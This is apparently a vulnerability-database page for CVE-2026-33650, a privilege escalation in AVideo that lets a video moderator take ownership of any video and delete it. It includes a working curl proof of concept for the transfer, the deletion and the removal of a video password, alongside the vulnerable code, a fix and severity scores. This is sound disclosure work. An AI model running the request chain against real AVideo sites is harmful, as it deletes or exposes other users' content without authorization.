Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-8x77-f38v-4m5j
Advisory ID github_osv/GHSA-8x77-f38v-4m5j
Aliases CVE-2026-33650
Summary AVideo: Video Moderator Privilege Escalation via Ownership Transfer Enables Arbitrary Video Deletion ## Summary A user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain. ## Details The `PERMISSION_INACTIVATEVIDEOS` (ID 11) permission is described as a limited moderator role in `plugin/Permissions/Permissions.php:213`: ```php $permissions[] = new PluginPermissionOption( Permissions::PERMISSION_INACTIVATEVIDEOS, __('Videos Moderator'), __('This is a level below the (Videos Admin), this type of user can change the video publicity (Active, Inactive, Unlisted)'), 'Permissions' ); ``` However, `Permissions::canModerateVideos()` (`Permissions.php:175`) is reused as an authorization gate in multiple locations in `videoAddNew.json.php` that go far beyond status changes: **1. Upload gate bypass** (`videoAddNew.json.php:10`): `User::canUpload()` (`user.php:2650`) returns `true` if `Permissions::canModerateVideos()` is true, granting moderators upload access. **2. Edit gate bypass** (`videoAddNew.json.php:19`): ```php if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) { die('{"error":"2 ' . __("Permission denied") . '"}'); } ``` `Video::canEdit()` correctly checks only `canAdminVideos()` and ownership, but the `|| !Permissions::canModerateVideos()` fallback allows moderators to edit any video. **3. Ownership transfer** (`videoAddNew.json.php:222`): ```php if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || Users_affiliations::isUserAffiliateOrCompanyToEachOther($obj->getUsers_id(), $_POST['users_id'])) { $obj->setUsers_id($_POST['users_id']); } ``` `userCanChangeVideoOwner` defaults to `false` (`CustomizeUser.php:286`), but `canModerateVideos()` provides an unconditional bypass, allowing any moderator to reassign ownership of any video. **4. Delete via ownership** (`videoDelete.json.php:22-28`): ```php if(empty($video->getUsers_id()) || $video->getUsers_id() != User::getId()){ if (!$video->userCanManageVideo()) { // denied } } $id = $video->delete(); ``` `userCanManageVideo()` (`video.php:3614`) checks `canAdminVideos()` (not `canModerateVideos()`), then falls back to ownership. After the ownership transfer in step 3, the moderator is now the owner, so this check passes. The authorization asymmetry: `videoAddNew.json.php` treats `canModerateVideos()` as equivalent to `canAdminVideos()`, but `videoDelete.json.php` and `userCanManageVideo()` do not — creating a gap exploitable by transferring ownership first. Additional fields a moderator can modify beyond their intended scope: - `only_for_paid` (line 210) — make premium content free - `video_password` (line 211) — change/remove password protection - `categories_id` (line 168) — alter content categorization - `videoGroups` (line 175) — modify user group visibility ## PoC **Prerequisites:** An account with the "Videos Moderator" permission (PERMISSION_INACTIVATEVIDEOS = 11) and a target video ID owned by another user. **Step 1: Transfer ownership of target video to attacker** ```bash # ATTACKER_USER_ID = moderator's user ID # TARGET_VIDEO_ID = ID of video owned by another user (e.g., admin) curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGET_VIDEO_ID&users_id=ATTACKER_USER_ID&title=unchanged" ``` Expected response: `{"status":true, ...}` — ownership is now transferred to the attacker. **Step 2: Delete the video (now owned by attacker)** ```bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoDelete.json.php' \ -d "id[]=TARGET_VIDEO_ID" ``` Expected response: `{"error":false, ...}` — video is deleted. The owner check at line 22 passes because the moderator is now the recorded owner. **Step 3 (additional impact): Access password-protected video** ```bash curl -s -b cookies.txt -X POST \ 'http://localhost/objects/videoAddNew.json.php' \ -d "id=TARGET_VIDEO_ID&video_password=&title=unchanged" ``` This removes the video password, granting the moderator (and everyone) access to previously protected content. ## Impact - **Arbitrary video deletion**: A Videos Moderator can delete any video on the platform, including admin-owned content, by first transferring ownership to themselves then deleting. - **Content tampering**: Moderator can change paid content flags (`only_for_paid`), video passwords, categories, and user group visibility on any video — all exceeding the documented scope of "change video publicity." - **Access control bypass**: Password-protected videos can have their passwords removed, exposing restricted content. - **Integrity loss**: Video ownership records are corrupted, making audit trails unreliable. - **Availability impact**: Targeted deletion of high-value content with no authorization check appropriate to the destructive action. The blast radius is any video on the platform. Any user granted the "Videos Moderator" role — which administrators may grant freely assuming it only allows status changes — gains effective full video management capabilities. ## Recommended Fix Replace `Permissions::canModerateVideos()` with `Permissions::canAdminVideos()` in `videoAddNew.json.php` where full edit capabilities are granted. Keep `canModerateVideos()` only for the specific status/publicity change operations it was designed for. **Fix for ownership transfer** (`videoAddNew.json.php:222`): ```php // Before (vulnerable): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canModerateVideos() || ... // After (fixed): if ($advancedCustomUser->userCanChangeVideoOwner || Permissions::canAdminVideos() || ... ``` **Fix for edit gate** (`videoAddNew.json.php:19`): ```php // Before (vulnerable): if (!Video::canEdit($_POST['id']) && !Permissions::canModerateVideos()) { // After (fixed): if (!Video::canEdit($_POST['id']) && !Permissions::canAdminVideos()) { ``` Then create a separate, narrower code path for moderators that only allows changing video status/publicity fields. Alternatively, refactor `videoAddNew.json.php` to check `canModerateVideos()` only around the specific status-change logic (lines 238-248) and require `canAdminVideos()` for all other fields.
Status Published
Exploitability 0.5
Weighted Severity 6.8
Risk 3.4
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-8x77-f38v-4m5j/GHSA-8x77-f38v-4m5j.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-24T14:10:34Z/

Decision: Track

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/33xxx/CVE-2026-33650.json

Source Advisory: vulnrichment/CVE-2026-33650

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'partial'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]